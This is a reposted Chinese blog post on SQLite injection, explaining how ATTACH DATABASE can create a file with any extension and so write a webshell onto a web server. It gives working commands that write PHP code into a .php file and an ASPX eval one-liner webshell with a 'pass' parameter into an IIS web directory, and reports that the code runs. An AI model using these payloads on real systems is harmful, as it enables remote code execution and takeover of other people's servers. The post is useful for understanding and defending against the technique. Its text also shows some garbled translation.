SQLite扫描

SQLite的扫盲

  1. SQLite的是一种嵌入式数据库,它的数据库就是一个文件。由于SQLite的本身是Ç写的,而且体积很小,所以经常被集成到各种应用程序中,主要在手机的应用中使用。
  2. 之前没有遇到过关于SQLite的的注入,这次遇到一个在ASPX中使用的SQLite数据库,并且存在注入。
  3. SQLite的一个重要的特性是零配置的,这意味着不需要复杂的安装或管理。
  4. SQLite的的语法和其他数据库差不多,只不过的SQLite的数据库是一个单独的文件.SQLite创建数据库的方法有两种,一种是创建,另外一种是附加。
  5. 创建使用命令:sqlite3.exe 数据库文件名。例如创建一个名字为aa.db的数据库,使用命令:sqlite3.exe aa.db。
  6. 例如附加一个bb.db的数据库,别名为a,命令为:attach database 'd:\sqlite\bb.db' as 'a';。
  7. 创建表并插入数据的命令如下:

     create table a.tt(dataz text); INSERT into a.tt(dataz) VALUES ('test');
  8. SQLite还可以生成任意后缀名的数据库文件。例如创建一个php结尾的数据库文件,新建一个名为exp的表,并在其中插入数据,内容为:<?php phpinfo();?>

    具体命令:

    sqlite>ATTACH DATABASE 'd:\\sqlite\\23.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');--

  9. 同样的方法生成aspx后缀的数据库文件,创建表,并插入<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>。然后将该文件放在IIS服务的web目录。发现其中的APSX代码也会被解析。
  10. 通过以上的测试过程和实际利用,可以归纳两点:

  11. SQLite可以创建任意格式的数据库文件,并且插入的代码可以根据文件格式来解析,这就造成了可以利用这种方式写WEBSHELL的原因。
    2.SQLite中十六进制的写法为:x'....',而不是0x....。

参考:https://fuping.site/2017/07/19/SQLite-Injection-Get-WebShell/

转载于:https://www.cnblogs.com/NBeveryday/p/11309895.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值